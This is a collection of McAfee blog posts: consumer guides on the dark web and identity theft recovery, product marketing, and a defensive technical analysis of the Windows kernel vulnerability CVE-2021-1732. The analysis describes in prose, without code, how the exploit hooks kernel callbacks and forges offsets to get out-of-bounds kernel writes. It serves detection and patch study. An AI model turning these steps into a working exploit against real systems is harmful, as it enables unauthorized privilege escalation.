It’s important to note that the dark web should not be confused with the deep web, which is a part of the internet individuals access regularly. Although the terms are sometimes used interchangeably, they actually refer to different things. Deep web content — which isn’t picked up by search engines, either — includes pages that typically require additional credentials to access. Your online banking accounts and email accounts, for instance, are examples of deep web content.

Different levels of the web

The internet is home to billions of websites — an estimated 1.7 billion to be exact, although that number changes every day as new sites are made and others are deleted. Your daily internet activity likely falls within the publicly available and readily accessible portion of the internet (otherwise known as the surface web). However, there are additional “levels” of the internet beyond that top level. Read on to learn more.

Surface web

The internet you use to search for more information is referred to as the surface web or open web. This is the readily visible part of the internet anyone can access with an internet connection and a normal web browser like Safari, Mozilla Firefox, or Google Chrome. Other terms for the surface web include the visible web, lightnet, or indexed web.

Examples of content you’ll find on the surface web include:

  • Open media websites and news sites like those affiliated with blogs, newspapers, magazines, and other publications. An example would be the home page of a newspaper like The New York Times or a media company like BuzzFeed.
  • Business websites for everything from major corporations to smaller local businesses. An example could be the website for a huge corporation like Bank of America or one for a smaller business like a local bakery.
  • Mainstream social media platforms like Facebook, Instagram, LinkedIn, and Twitter. Although you likely use these tools via an app, they all have dedicated websites.
  • E-commerce sites used for buying goods and services, like Amazon, Walmart, Target, apparel retailers, and beyond. Any company that sells products online can be considered an e-commerce site.

Basically, the sites you use daily — from your favorite news site to a local restaurant — are part of the surface web. What makes these websites part of the surface web is that they can be located via search queries and have recognizable endings like .com, .edu, .gov, or .org. You are able to find websites on the surface web because they are marked as “indexable,” meaning search engines can index and rank them. The sites are readily available on the search engine results pages (SERPs).

Interestingly, the surface web only makes up around 4% of the total internet, meaning the internet is a lot more than what you see on the surface. Think of it as an ocean — there’s the top layer of water you can see and then there’s the vast world beneath. The remainder of the internet is what’s below the surface.

Deep web

The deep web refers to any page on the internet that isn’t indexed by search engines as described above. The deep web is the first level beneath the “surface” of the visible web — and it’s significantly larger than the surface web, accounting for an estimated 96% to 99% of the entire internet.

It’s important to note that just because this type of content isn’t on the surface doesn’t mean it’s nefarious or has ill intent. A lot of the time, this content isn’t indexed because it includes pages that are meant to be hidden to protect consumer privacy, such as those that require login credentials.

Here are some examples of content on the deep web:

  • Fee-based content like news articles that are behind a paywall or membership-only content requiring login credentials are considered part of the deep web. For example, if you pay to access members-only content in a content creator’s fan club, you are using fee-based content.
  • Databases containing protected files that aren’t connected to other areas of the internet. These could be public or private files, like those from government entities or private educational institutions.
  • Intranets for educational institutions, corporate enterprises, and governments are used for exchanging and organizing internal information. Some of it is sensitive and not meant for public dissemination. Intranets usually require a login and are part of the deep web.
  • Secure storage platforms like Dropbox or Google Drive also require you to log in to upload and download files and photos. There are also proprietary data storage solutions used by companies that frequently handle sensitive data, such as law firms, financial institutions, and health care providers. An example might be a patient portal via a hospital or doctor’s office, where you can access your personal medical records.

Essentially, any webpage that requires a login is part of the deep web. That said, deep web content doesn’t necessarily have to fall into any of these categories. Any page that is non-indexable is technically also considered part of the deep web. It doesn’t have to require a login or contain sensitive data. Website creators and managers can mark pages as non-indexable if desired.

It’s worth noting that sometimes a single organization’s website will include elements of both the surface web and the deep web. Take a college or university website, for example. Most schools have a comprehensive website providing information about the school’s history, campus location, student body, available programs of study, extracurricular activities, and more.

However, many schools also have an intranet — sometimes linked from the main university page — that’s accessible only for students or staff. This is where students might sign up for classes and access their school email, for example. Since this is sensitive information and requires a unique login, it doesn’t need to be made publicly available via search engines.

In fact, it’s better in the interest of privacy that these pages aren’t readily visible. It helps to protect the user’s data. From this example, you can see that the “deep web” doesn’t have to be scary, illicit, or illegal. It serves a legitimate and useful purpose. You shouldn’t be afraid of the deep web. It’s further important to distinguish the deep web from the dark web — as the next section explains.

Dark web

As mentioned, the deep web and the dark web sometimes get confused. However, they are distinct. Technically, the dark web is a niche or subsection within the deep web. It consists of websites that aren’t indexable and can’t be readily found online via web search engines. However, the dark web is a carefully concealed portion of the deep web that people go out of their way to keep hidden.

What makes the dark web distinct from the broader deep web is the fact that dark web content can only be accessed via a special browser. The Tor network is often used to access the dark web.

Additionally, the dark web has a unique registry operator and uses security tools like encryption and firewalls, further making it inaccessible via traditional web browsers. Plus, the dark web relies on randomized network infrastructure, creating virtual traffic tunnels. All of these technical details serve to promote anonymity and protect dark web users’ privacy.

Is it illegal to browse the dark web?

The short answer is no, it’s not illegal to browse the dark web. In fact, there are instances where individuals can use it for good. Whistleblowers, for instance, can find the anonymity available through the dark web valuable when working with the FBI or another law enforcement organization.

That said, while it’s not illegal to browse the dark web, it’s also not completely void of criminal activity. Putting yourself in close proximity with illegal activities is rarely a good idea and could heighten your risk of being targeted by a criminal yourself. It’s often best to leave that part of the deep web alone.

There are also many technological threats on the dark web. Malicious software, also known as malware, is a critical concern and can affect unsuspecting users. Even simply browsing the dark web out of curiosity can expose you to such threats, like phishing malware or keyloggers. While an endpoint security program can identify such threats if they end up on your computer, it’s ideal to avoid them altogether.

Further, if you try to buy something on the dark web — even if it’s not illegal — there’s a chance you’ll be scammed. Dark web criminals use a variety of tricks to con people. For example, they may hold money in escrow but then shut down the e-commerce website and take off with the money. Due to the anonymous nature of the dark web, it’s very difficult for law enforcement to find such perpetrators.

How do criminals use the dark web?

Given its anonymous nature, the dark web clearly has an obvious appeal for cybercriminals. But just what do they use it for? The most obvious type of internet activity is the buying and selling of black market goods and services, from illegal drugs to illegal content. Cybercriminals may also run scams when selling such items, for example by taking a person’s money and not delivering the required product.

There are dark websites dedicated to the purchase and sale of illegal products or services (usually using untraceable cryptocurrencies like bitcoin) including:

  • Financial information like cloned credit cards with PIN, credit card details, online bank account logins, and more. People can then use these details to make legitimate purchases, negatively impacting your financial status and ruining your credit score in the process.
  • Account details for hacked accounts like email accounts, eBay accounts, social media accounts, streaming services, and more. For example, a person may buy a reputable eBay seller’s login details and then use their real account to make fake sales, pocketing the money and ruining the seller’s reputation in the process.
  • Personal data that can be used to steal someone’s identity, such as their name, address, Social Security number, and more. Identity theft is a serious problem that can negatively impact everything from your credit score to your private medical data.
  • Illegal services like people claiming to be able to fix credit scores for a fee. Many of these “services” are scams. They may also be law enforcement masquerading as criminals in an attempt to catch people who are up to no good.
  • Illegal goods like unregistered firearms and drugs. Law enforcement is increasingly cracking down on cybercriminals and the dark web.

Browsers like Tor, an open-source and free software, allow people to access dark websites where these goods are available, like a digital marketplace. These websites may look similar to any other surface or deep website you’d encounter. However, they differ in their domain suffix, ending in “.onion” instead of more obvious options like “.com” (Tor is actually short for The Onion Router, which is also where the term “onion routing” comes from — referring to anonymous communication on the dark web).

Onion sites often use scrambled names that make their URLs difficult to remember, minimizing the odds of being reported to authorities. It’s possible to search the dark web using specialized dark web search engines like Grams or link lists like The Hidden Wiki. However, these sources tend to be slow and unreliable, just like the dark web itself.

Some of this information can be extremely valuable on darknet forums. For example, while a Social Security number might go for $2, email credentials could sell for as much as $120,000. Hackers can make a lot of money and do so with less worry that they might get caught. Thanks to the Tor browser’s layers of encryption and IP scrambling, it’s difficult to track people down on this part of the web.

How to protect yourself online

Again, although the dark web isn’t inherently bad, you should still be proactive in preventing your personal information from falling into the wrong hands. Here are a few ways you can help keep you and your family safe online:

  • Protect your devices with passwords and antivirus software: One of the first lines of defense is to protect your devices. With passwords, ensure they’re unique and strong across accounts and keep them in one place, like a password manager. It’s also important to have antivirus software installed on your browsing devices to protect them from malware and other threats (you can even take this a step further by using a virtual private network or VPN).
  • Think before oversharing on social: Social media keeps us connected with our family and friends, but before you click “share,” make sure you’re not revealing any personal information like your home address or something else that could be compromising.
  • Sign up for a monitoring service: Whether it’s reviewing your credit report or an identity protection plan with 24/7 monitoring, additional trusted eyes on your accounts will help them stay protected.

Get a personalized protection plan today

The dark web might sound scary. The fact is, an everyday internet user like yourself likely won’t have any contact with this level of the internet. That said, it’s still important to take as many precautions as you can to keep your family and your technology safe.

McAfee provides everyday internet users with the tools they need to surf safely and confidently. Our award-winning antivirus software protects against threats like phishing, malware, and ransomware, and we also offer identity protection plans that come with a personalized Protection Score to check the health of your online information. Start browsing with confidence by using McAfee.

The post The Dark Web: A Definitive Guide appeared first on McAfee Blog.

What to Do If Your Identity Has Been Stolen

By McAfee

We live online these days, sharing everything from vacation pictures to what we eat for breakfast on the internet. The internet is also useful for daily activities, like buying groceries or paying bills.

While it’s convenient to connect with people and complete tasks online, cybercriminals are eager to use the internet to steal financial or personal data for their personal gain — otherwise known as identity theft. This is a criminal act and can affect your credit score in a negative way and cost money to fix. It can also affect employment opportunities since some employers conduct a credit check on top of drug testing and a criminal history check. Identity theft victims may even experience an impact to their mental health as they work to resolve their case.

The good news is that being able to recognize the signs of identity theft means you can act quickly to intervene and minimize any effects in case it happens to you. You can also protect yourself by using preventive measures and engaging in smart online behavior. This article provides essential information about identity theft, giving you the tools you need to become an empowered internet user and live your best life online.

5 steps to take if your identity has been stolen

The internet is a great place to be, but identity thieves hope to catch you off-guard and seek access to your personal information for their benefit. This could include private details like your birth date, bank account information, Social Security number, home address, and more. With data like this, an individual can adopt your identity (or even create a fake identity using pieces of your personal profile) and apply for loans, credit cards, debit cards, and more.

You don’t have to be kept in the dark, though. There are several signs that your identity has been stolen, from a change in your credit score to receiving unfamiliar bills and debt collectors calling about unfamiliar new accounts. If you suspect that you’ve been affected by identity fraud, you can act fast to minimize what happens. Here’s what to do.

File a police report

Start by contacting law enforcement to file a report. Your local police department can issue a formal report, which you may need to get your bank or other financial institution to reverse fraudulent charges. An official report assures the bank that you have been affected by identity fraud and it’s not a scam.

Before going to the police, gather all the relevant information about what happened. This could include the dates and times of fraudulent activity and any account numbers affected. Bringing copies of your bank statements can be useful. Also, make note of any suspicious activity that could be related. For example, was your debit card recently lost or your email hacked? The police will want to know.

Notify the company where the fraud occurred

You should also notify any businesses linked to your identity theft case. Depending on the type of identity theft, this could include banks, credit card companies, medical offices, health insurers, e-commerce stores, and more. For example, if someone used your credit card to make purchases on Amazon, alert the retailer.

Medical identity theft is another good example. In this case, a fraudster may assume your identity to gain access to health care services, such as medical checkups, prescription drugs, or pricey medical devices like wheelchairs. If someone uses your health insurance to get prescription drugs from a pharmacy, for instance, make sure to alert the pharmacy and your insurer.

File a report with the Federal Trade Commission

The Federal Trade Commission (FTC) is a government body that protects consumer interests. You can report identity theft via their portal, IdentityTheft.gov. They’ll then use the details you provide to create a free recovery plan you can use to address the effects of identity theft, like contacting the major credit bureaus or alerting the Internal Revenue Service (IRS) fraud department. You can report your case online or by calling 1-877-438-4338.

Ask credit reporting agencies to issue a fraud alert

A common consequence of identity theft is a dip in the victim’s credit score. For example, a cybercriminal may take out new lines of credit in the victim’s name, accrue credit card debt, and then not pay the balance. For this reason, contacting the credit monitoring bureaus is one of the most important steps to take in identity theft cases.

There are three main agencies: TransUnion, Equifax, and Experian. You can get a free credit report from each agency every 12 months via AnnualCreditReport.com. Check the report and note all fraudulent activity or false information and flag it with the relevant bureau’s fraud department. You should also initiate a fraud alert with each agency.

A fraud alert requires any creditors to verify your identity before opening a new line of credit. This adds an extra layer of security. An initial fraud alert lasts for 90 days. Once this expires, you can prolong your protection via an extended fraud alert, which will remain valid for seven years. You can notify one of the big three bureaus to set it up. They are then required to notify the other two bureaus.

A credit freeze is another smart move, which you can do through each of the three major credit bureaus. You can either call them or start the process online. This prevents people from accessing your credit report. Lenders, creditors, retailers, landlords, and others may want to see your credit as proof of financial stability. For example, if someone tries to open a phone contract under your name, the retailer may check the credit report. If there is a credit freeze in place, they won’t be able to view it and won’t issue the contract. If you need to allow someone access to your credit report, you can temporarily lift the freeze.

Change passwords to all of your accounts

Identity theft is often linked with leaked or hacked passwords. Even if you aren’t sure whether your passwords have been compromised, it’s best to play it safe. Change passwords to any affected accounts. Make sure to use strong passwords with a mix of numbers, letters, and symbols. Further, if there’s a chance to activate two-factor authentication on your accounts, this can provide added protection going forward.

Is it possible to prevent identity theft?

Ideally, you’ll never become the victim of identity theft, but things can happen. Cybercriminals work hard, but you can stay one step ahead by taking a few preventative measures. These include:

  • Learn how to recognize common scams. ID theft comes in many forms, from email phishing scams to social media snooping, device hacking, and data breaches. Learn the signs of a scam. For example, phishing emails are often poorly written and frequently follow certain formats, like claiming that an account of yours has been suspended.
  • Activate fraud alerts. Most financial institutions provide alerts about suspected fraudulent transactions, sending you a notification via phone call, text, or email if they notice suspicious activity on your account. The bank may also freeze an account automatically until any potentially unauthorized charges are clarified and confirmed by the account owner.
  • Protect your devices with strong passwords. Your devices, including your phone, tablet, and laptop, should all be password-protected. In case one of your tech tools is stolen, it will be harder for fraudsters to gain access to your personal data. Set strong passwords with a mix of letters, numbers, and symbols. Make sure they don’t include information a person could figure out easily, like your home address or birthday.
  • Use different passwords for different accounts. Any online accounts you use, from your banking app to your email, should be password-protected. Follow the same rules for setting strong passwords, but don’t duplicate passwords. If a hacker cracks the code for one account, they can easily guess their way into your other accounts. A password manager can help you stay on top of your passwords by encrypting them and storing them safely for easy tracking. McAfee Identity Protection includes a password manager that can secure your account credentials across devices.
  • Protect your documents. Protect hard copies of sensitive documents, like your Social Security card and birth certificate, by keeping them locked away. Also, dispose of documents with personal data by shredding them. This ensures that dumpster divers can’t access your information. Documents to shred might include invoices, bank statements, medical records, canceled checks, and junk mail with your name, phone number, and address.
  • Don’t overshare on social media. Social media is a great way to connect with friends and family, but it can also be a goldmine for identity thieves. Avoid sharing details like your kids’ or pets’ names, which are often used in passwords. Sensitive information, like a home address or birthday, can also be used to build a fake identity. You may want to set your social media accounts to private in addition to limiting what you share.
  • Review your credit report. You have the right to one free copy of your credit report every 12 months, which you can request via AnnualCreditReport.com. This provides you with a report from each of the three major credit bureaus. Review the report, verifying personal information, account details, and public records (like bankruptcies or liens) to ensure there isn’t anything suspicious.
  • Follow the news. When major corporations are targeted by hackers, they’re required to alert affected consumers. These breaches are also often reported in the media. To take a more proactive approach, though, check out the McAfee blog, which reports on breaches. If a business you use has been affected, change your passwords.

You can further protect yourself with antivirus software like McAfee’s Total Protection plan. This can help protect your devices against spyware and viruses. You can also enhance your network security with a firewall and virtual private network (VPN). A firewall controls traffic on your internet network based on predefined security parameters, while a VPN hides your IP address and other personal data.

Sign up for a protection plan today

Don’t let concerns about identity fraud keep you from enjoying all the conveniences and perks the internet offers. McAfee’s identity theft protection services can help you stay connected while keeping you safe. Tailor your package to your household’s needs to get the safeguards you want, like ID theft coverage, VPN, and 24/7 monitoring. Our Total Protection plan also comes with $1 million in identity theft coverage to cover qualifying losses and hands-on support to help you reclaim your identity.

With McAfee by your side, you can stay online confidently.

The post What to Do If Your Identity Has Been Stolen appeared first on McAfee Blog.

Protecting Your Privacy This Year

By McAfee

If there’s a particularly clear picture that’s developed over the past couple of years, it’s that our privacy and our personal identities are worth looking out for. With that, we have your back. And here’s why.  

In the U.S., reported cases of identity theft continue to rise. In the first half of 2022, the Federal Trade Commission (FTC) reported more than 600,000 cases of identity theft, with more than 230,000 of those reported cases involving credit card theft. 

And that’s just what’s been reported in the U.S. Far more crime goes unreported, and it is estimated that the cost of identity theft and fraud goes well into the billions of dollars. 

Yet behind each stat is a person, a family, and a household that dealt with anything from a financial headache to a major life event no thanks to identity theft and fraud. Accordingly, we’re seeing to it that every person has the tools to prevent this from happening to them. 

Here’s a little bit about our approach. We looked at some of the key areas where people’s private information can be vulnerable and rolled out a set of features and services that can help make you safer than before. They’re all part of McAfee+, our latest line of comprehensive online protection. Depending on your plan and location, the following offer protections that can look after you, your privacy, and your identity—along with your devices and the things on them too. 

Connect safely with a VPN 

Unsecured networks can leave us vulnerable, like when we use public Wi-Fi. What’s at issue is that a cybercriminal can potentially capture your login credentials and other personal information as you use a public network in a hotel, airport, coffee shop, library, and so forth. 

So, we made sure to include a Virtual Private Network (VPN) to keep your information protected from prying eyes. It does this easily by detecting when you’re on a public network and automatically turning on your VPN. The VPN then scrambles or encrypts, your data as it flows over the network. Unlike some VPNs that require advanced settings to shield your data, our app offers seamless security. 

Dark web monitoring 

Given that data breaches large and small continue to occur with more regularity than any of us would like, always-on monitoring of your private information is key. 

Whether one of your personal accounts is hacked–or worse–another website somehow gets ahold of your data and subsequently gets breached, your data may end up on the dark web. This is where cybercriminals buy and sell information. 

To detect these dangerous leaks, we included dark web monitoring, which alerts you if your log-in credentials have been exposed. It can even provide you with a link to the site that uses those credentials when the information is available. This allows you to swiftly reset your passwords, mitigating the risk. 

Personal data cleanup 

We’ll scan some of the riskiest data broker sites and show you which ones are selling your personal info. We’ll also provide guidance on how you can remove your data from those sites and with select products, we can even manage the removal for you. ​ 

Identity theft insurance and recovery support 

Recovering from identity fraud or theft can be expensive. Not to mention time consuming. We’ll help relieve the burden with $1M coverage for lawyer fees, travel expenses, lost wages, and more.  

Should the unfortunate happen to you, we have your back. In several ways. We offer licensed recovery experts who can work with you any time, around the clock, all year long. These pros can use a limited power of attorney to do the heavy lifting for identity recovery, taking all necessary steps to repair identity and credit.  

Ransomware coverage 

Our all-new ransomware coverage is now available, ready to help just in case—all backed by expert advice to help you find the quickest and best possible path to recovery. In addition to eligibility for up to $25,000 in reimbursement due to ransomware losses, our team of experts can help you, determine the severity of a ransomware attack and learn what immediate action steps you can take.  

Protection score 

Knowing your safe and staying that way just got far simpler. With a colorful view, you can see exactly what your Protection Score is at a glance, which compiles your overall levels of security, privacy, and identity theft protection. Better yet, if it spots gaps in your protection, it guides you through straightforward fixes that can make you safer than before. 

It’s an industry first, and something we all deserve—the ability to clearly see exactly how secure you are and to quickly shore up your protection whenever it’s needed. 

Credit monitoring 

Everyone has credit, and everyone needs to protect it. McAfee’s Credit Monitoring does just that. Whether the suspicious change in your report is big or small, we can help you detect it—and take the right steps to correct it. 

Credit freeze 

You can put proactive protection in place by stopping unauthorized access to existing credit card, bank, and utility accounts or from new ones being opened in your name. Security freezes stop companies from looking at your credit profile, which halts the application process for loans, credit cards, utilities, new bank accounts, and more. A security freeze won’t affect your credit score. ​ 

Ease of use 

Also on our list, we wanted to make personal protection easy to use and available across all your compatible devices. So, whether you’re out with just your phone, or at home working at your PC, you have access to your protection, and can even pick up where you left off on a different device. 

It’s about enjoying the internet 

Ultimately, that’s what any of us want—to enjoy the internet with confidence, knowing that whatever it is we’re doing online is secure. 

The way we use the internet continues to evolve. After all, it wasn’t long ago that the idea of using a phone to see who’s at the front door may have seemed a bit odd. Let alone having a little chat with the speaker on your kitchen counter. Yet that’s where we are today. And as the internet evolves, so will we. The protection we offer will cover your increasingly connected life in whatever shape that takes. 

No question about it. We’re committed to protecting you, your privacy, your identity, and certainly your devices too—and making all of it simple. 

Here’s to a happy and secure year! 

The post Protecting Your Privacy This Year appeared first on McAfee Blog.

The Feeling of Safety

By McAfee

The internet’s greatest feat? Fundamentally shifting how we live. Once a revelation, it quickly set our long-standing beliefs about how we work, play, and connect into a whole new context. 

Today, the shifts come fast. Video meetings once felt alien. Now, they’re part of our routine. We’ve gone from setting doctor’s appointments online to actually seeing the doctor online—and from family visits to seeing everyone in seconds on a screen.  

At McAfee, we’ve seen our share of shifts as well. Looking back across our thirty-plus years, we were among the first to deliver antivirus technology. First to create a biometric password manager. First to give people an intuitive Protection Score, and so much more. And we’re not stopping. We’re protecting people and their ever-changing lives. That means covering all your life online, from security to privacy to identity, in a way that adds to your confidence and enjoyment too. 

Confidence and enjoyment. Those two words mark our next shift in online protection. We’re bringing those feelings to life across the McAfee experience. And it’ll redefine the way you stay safe online.  

Safety has an unmistakable feeling. As we bring that feeling to online protection, you’ll see a remarkable evolution. It will look and act in bold new ways, guide you, reassure you, and most importantly, keep you safe. In all, it’s a new breed of online protection that’s helpful, even thoughtful, in the ways it looks out for you. 

And this evolution is already underway. You’ll find that feeling in everyday moments as we make them simpler, freer, and safer—such as paying your bills at a coffee shop, managing your family’s healthcare from your laptop, and booking flights to catch up with old friends. Across them all, our protection will have your back, and even offer guidance when needed, all while you do you—wherever your day takes you and no matter what “online” looks like next. 

There’s simply so much to see out there. And with us by your side, you’ll feel safe and stay that way. Life online will continue to surprise us. In the best of ways. And people have a right to enjoy every moment of it, confident that they’re safe and secure, in ways they can point to and feel.  

That’s our next big shift. Giving you the unmistakable feeling of safety. You deserve it. More than that, it’s your right. And we’re proud to bring it to you. 

The post The Feeling of Safety appeared first on McAfee Blog.

Technical Analysis of CVE-2021-1732

By Eoin Carroll

Introduction

In February 2021, the company Dbappsecurity discovered a sample in the wild that exploited a zero-day vulnerability on Windows 10 x64.

The vulnerability, CVE-2021-1732, is a win32k window object type confusion leading to an OOB (out-of-bounds) write which can be used to create arbitrary memory read and write capabilities within the Windows kernel (local Elevation of Privilege (EoP)). Memory exploitation generally requires a read, write, and execute primitive to bypass modern exploit mitigations such as DEP, ASLR and CFG on hardened operating systems such as Windows 10. A data-only attack requires only a read and write primitive as it does not seek to execute malicious code in memory, but rather manipulates data structures used by the operating system to its advantage (i.e., to achieve elevated privileges).

Kernel exploits are usually the most sophisticated attack as they interact directly with the Windows kernel. When such attacks are successful, they are critical because they provide high privileges to the attacker, which can be used to increase the impact of the overall exploit chain. In this case the exploit is a Local Privilege Escalation (LPE) that targets 64-bit Windows 10 version 1909. The original sample discovered was compiled in May 2020 and reported to Microsoft in December 2020. While searching for additional findings we went through a public exploit published in March of 2021 by a researcher. Having this code publicly available may raise the potential for additional threat attackers. While we have not found clear evidence demonstrating malicious use of the proof-of-concept (POC), we did discover some variants being tested and uploaded to VirusTotal.

In this blog post, McAfee Advanced Threat Research (ATR) performed a deep dive into the analysis of the vulnerability, to identify the primitives for detection and protection. The exploit is novel in its use of a new win32k arbitrary kernel memory read primitive using the GetMenuBarInfo API, which to the best of our knowledge had not been previously known publicly.

CVE-2021-1732 Deep Dive

Exploitation of CVE-2021-1732 can be divided into six stages with the end goal of escalating a process’ privileges to System. The following diagram shows the stages.

Figure 1 – Six stages of CVE-2021-1732

Before we dive into the details, we must give some background to win32k exploitation primitives which are used in the exploitation of CVE-2021-1732.

Win32K Background

Win32k is a Graphical (GUI) component of the Microsoft Windows Subsystem, most of which exists in the kernel for performance reasons. It is used for graphical print of the Windows OS desktop. However, due to the win32k architecture, the kernel component of win32k still needs to be able to make calls to user mode through user-mode callback functions to facilitate window creation and management.

Kernel user-mode callbacks have been well researched as far back as 2008 and 2010, with a very comprehensive analysis in 2011 by Mandt. A win32k kernel function such as xxxCreateWindowEx will make a callback function such as xxxClientAllocWindowClassExtraBytes through the user process PEB KernelCallbackTable.

When the user-mode callback has completed, NtCallbackReturn executes and passes the expected return parameter back to the kernel. Due to the stateless nature of these callbacks, many vulnerabilities have been discovered related to the locking mechanisms on the objects leading to use-after-free (UAF) exploitation.

Win32k has been one of the most exploited components in the Windows kernel accounting for 63% of vulnerabilities from 2010 to 2018, due to its large attack surface of syscalls relative to ntdll syscalls. Win32k vulnerabilities are generally turned into data-only attacks using a read/write kernel primitive by using a desktop object known as a tagWND data structure.

There are two aspects to data-only attacks:

  1. Discovering a vulnerability.
  2. Leveraging existing or new read/write primitives using specific OS APIs on object fields such as tagWND.cbWndExtra.

The tagWND data structure has two fields which make it a prime target for reading/writing within kernel memory; tagWND.cbWndExtra and tagWND.ExtraBytes. When a window is created using CreateWindowEx, it is possible to request additional bytes of memory directly after the tagWND object in memory through the cbWndExtra field in the WNDCLASSEXA structure when registering the window class.

The number of extra bytes is controlled by the cbWndExtra field, and the allocated additional memory address is located at the ExtraBytes field. The read/write primitive is created as follows:

  1. Discover a vulnerability such as a UAF, which will allow you to write to a tagWND object in memory called WND0.
  2. Allocate another tagWND object called WND1 near the previously corrupted WND0 in memory.
  3. Overwrite WND0.cbWndExtra to a large value such as 0xFFFFFFF.
  4. Call an API such as SetWindowLongPtr on WND0 which will write OOB to fields within WND1.

Win32k kernel user-mode callbacks have been exploited many times by leveraging tagWND read/write capabilities within the Windows kernel for escalation of privileges such as CVE-2014-4113, CVE-2015-0057, MS15-061, CVE-2016-7255 and CVE-2019-0808.

Win32k Exploit Primitives

Several primitives have been observed in the CVE-2021-1732 exploit used by the attackers; additionally, it is worth mentioning that some of them are new and not previously seen in the wild.

Prior to Windows RS4 it was trivial to leak tagWND kernel addresses using multiple techniques, such as calling HMValidateHandle to copy tagWND objects from the kernel to user desktop heap. The latest version of Windows 10 has been hardened against such trivial techniques.

However, using the spmenu kernel address leak technique and relative tagWND desktop heap offsets, once a vulnerability is discovered to overwrite a tagWND.cbWndExtra field, it is possible to achieve kernel read/write capabilities without leaking the actual tagWND kernel addresses. The spmenu technique in this exploit was used here and here, but we are not aware of the GetMenuBarInfo API ever being used before in a win32k exploit.

The following diagram shows the primitives used in CVE-2021-1732.

Figure 2 – CVE-2021-1732 Primitives

Existing Windows OS Mitigations

Great work has been done to harden the security of win32k against EoP attacks with new and improved mitigations by the Microsoft OSR team, Mandt, Google Project Zero, Schenk and Dabah.  These mitigations include:

  1. Type isolation (all same type objects tagWND being used).
  2. Win32k filtering (limited to Edge browser and not process wide but since this research there have been many improvements on win32k API filtering capabilities such as the addition of _stub_UserSetWindowLong and _stub_UserSetWindowLongPtr _stub_UserGetMenuBarInfo in win32k.sys).
  3. Fragmenting kernel desktop heap and removal of kernel addresses in the user desktop heap (can use relative offsets within user and desktop heaps described later in the blog).
  4. Removal of data type symbols from win32k drivers (obfuscation rather than mitigation).

In the context of a malicious process exploiting CVE-2021-1732, the above mitigations provide no protection. However, it does not impact Google Chrome as it disallows win32k calls (Windows 8 and higher), or Microsoft Edge as it applies win32k filtering on the relevant APIs.

Triggering the Vulnerability and Patch Analysis

When a window is created using CreateWindowEx API, a tagWND object is created by the Windows operating system. This window, as explained above, can be created with a parameter to allocate extra memory using cbWndExtra.

During the windows creation process (CreateWindowEx API) a callback named xxxClientAllocWindowClassExtraBytes is triggered to allocate space in the user mode desktop heap for the tagWND.ExtraBytes (offset 0x128) per the tagWND.cbWndExtra (offset 0xc8) value size (see figure 3 and 4 below for WND1).

Figure 3 – WND1 Kernel tagWND – User mode copy located at offset 0x28
Figure 4 – WND1 User Mode tagWND

The location of this memory is stored as a user mode memory pointer to the desktop heap and placed at tagWND.ExtraBytes. It is then possible to convert the normal window to a console window using NtUserConsoleControl which will convert that user mode pointer at tagWND.ExtraBytes to an offset value which points into the kernel desktop heap (see figure 5 below for WND0). It is this change in value at tagWND.ExtraBytes (window type confusion) that can be exploited for an OOB write during the xxxClientAllocWindowClassExtraBytes callback window.

Figure 5 – WND0 User Mode tagWND
Figure 6 – Triggering the type confusion vulnerability within win32kfull!xxxCreateWindowEx

Per figure 6 above the following steps are required to trigger the vulnerability:

  1. Get a pointer to the HMValidateHandle inline function within user32.dll.
  2. Hook xxxClientAllocWindowClassExtraBytes within the PEB KernelCallBack table.
  3. Create multiple windows (we will just use the first two WND0 and WND1 created), using the CreateWindowEx API, so that two windows are created in close memory proximity.
  4. Call HMValidateHandle on WND0 and WND1 which will copy their objects from the kernel desktop heap to user desktop heap. At tagWND+0x8 an offset is stored into the desktop heap; this offset is the same for the user and kernel desktop heaps. The exploit uses these offset values to calculate the relative distance between WND0 and WND1 in the kernel desktop heap which is needed later for reading and writing OOB. Per table 1 below, by using these offsets there is no requirement to leak the actual WND0 and WND1 kernel addresses since read and writes can be done relative to the offsets (user and kernel desktop heaps have the same offsets).
Table 1 – User and Kernel Desktop heaps have the same offsets

5. WND0 is then converted to a console window by calling NtUserConsoleControl which converts WND0.ExtraBytes from a user desktop heap pointer to an offset within the kernel desktop heap. This is needed later so that WND0 can write OOB to WND1.

6. Create malicious window WND_Malicious using the CreateWindowEx API

    • During the window creation the callback xxxClientAllocWindowClassExtraBytes API is executed to request user mode to allocate memory for WND_Malicious.cbWndExtra and pass the user desktop heap pointer back to the kernel function win32kfull!xxxCreateWindowEx.
    • xxxClientAllocWindowClassExtraBytes has now been hooked and we do the following before returning to win32kfull!xxxCreateWindowEx:
      • Call NtUserConsoleControl to convert WND_Malicious to a console window so converting its WND_Malicious.cbWndExtra from a user desktop heap pointer to an offset within the kernel desktop heap.
      • Finally call NtCallbackReturn which completes the callback and returns a single value to xxxClientAllocWindowClassExtraBytes. Instead of passing the user desktop heap pointer as expected by xxxClientAllocWindowClassExtraBytes back to the kernel we pass the value at WND0+0x08 which is the kernel desktop heap offset to WND0 per figure 7 below. Now anytime we call SetWindowLongW on WND_Malicious we will be writing to WND0.
Figure 7 – WND_Malicious

Patch Analysis

The vulnerability lies in the fact that win32kfull!xxxCreateWindowEx does not check whether the window type has changed between the time it initiates the xxxClientAllocWindowClassExtraBytes and gets the response from NtCallbackReturn.

When we call NtUserConsoleControl with WND_Malicious in the hook above, xxxConsoleControl checks if tagWND+0xE8 flag has been set to 0x800 to indicate a console window per figure  below. As WND_Malicious was created as a normal window, xxxConsoleControl allocates memory at an offset within the kernel desktop heap and then frees the user desktop heap pointer existing at WND_Malicious.ExtraBytes (0ffset 0x128). It then places the offset to this new allocation in the kernel heap at WND_Malicious.ExtraBytes (0ffset 0x128) and sets the tagWND+0xE8 flag to 0x800 to indicate it’s a console window.

After returning from the callback when we issued NtCallbackReturn above, xxxCreateWindowEx does not check that the window type has changed and places the WND0+0x08 at WND_Malicious.ExtraBytes per figure 9 below. The RedirectFieldpExtraBytes checks the WND_Malicious.ExtraBytes initialized value but it is too late as WND0+0x08 has already been written to WND_Malicious.ExtraBytes (offset 0x128).

Figure 9 – win32kfull!xxxCreateWindowEx (vulnerable version)

The patched win32kfull.sys has updated xxxCreateWindowEx to now check the ExtraBytes initialized value before writing the returned value from user mode to tagWND. ExtraBytes (offset 0x128) per figure 10 below.

Figure 10 – win32kfull!xxxCreateWindowEx (patched version)

Figure 11 below shows that tagWND. ExtraBytes is initialized to zero within xxxCreateWindowEx during normal window creation.

Figure 11 – tagWND. ExtraBytes initialization for normal window

